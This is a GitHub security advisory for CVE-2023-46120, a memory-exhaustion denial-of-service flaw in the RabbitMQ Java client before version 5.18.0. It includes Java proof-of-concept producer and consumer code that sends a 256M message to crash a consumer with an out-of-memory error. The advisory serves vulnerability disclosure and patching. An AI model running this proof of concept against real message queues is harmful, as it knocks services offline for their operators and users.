GHSA-mm8h-8587-p46h: RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

1. GitHub Advisory Database
2. GitHub Reviewed
3. CVE-2023-46120

RabbitMQ Java client’s Lack of Message Size Limitation leads to Remote DoS Attack

Package

maven com.rabbitmq:amqp-client (Maven)

Affected versions

< 5.18.0

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC****RbbitMQ

• Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
• Start RabbitMQ

Producer

• Build a String of length 256M and send it to Consumer

  package org.springframework.amqp.helloworld;

  import org.springframework.amqp.core.AmqpTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

  public class Producer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); String s = "A"; for(int i=0;i<28;++i){ s = s + s; System.out.println(i); } amqpTemplate.convertAndSend(s); System.out.println(“Send Finish”); } }

Consumer

• First set the heap memory size to 128M

• Read the message sent by the Producer from the MQ and print the length

  package org.springframework.amqp.helloworld;

  import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.core.Message; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

  public class Consumer {

  public static void main(String[] args) {
      ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
      AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
      Object o = amqpTemplate.receiveAndConvert();
      if(o != null){
          String s = o.toString();
          System.out.println("Received Length : " + s.length());
      }else{
          System.out.println("null");
      }
  }
  

  }

Results

• Run the Producer first, then the Consumer
• Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

References

• GHSA-mm8h-8587-p46h
• rabbitmq/rabbitmq-java-client#1062
• rabbitmq/rabbitmq-java-client@714aae6
• https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0

Published to the GitHub Advisory Database

Oct 24, 2023

Last updated

Oct 24, 2023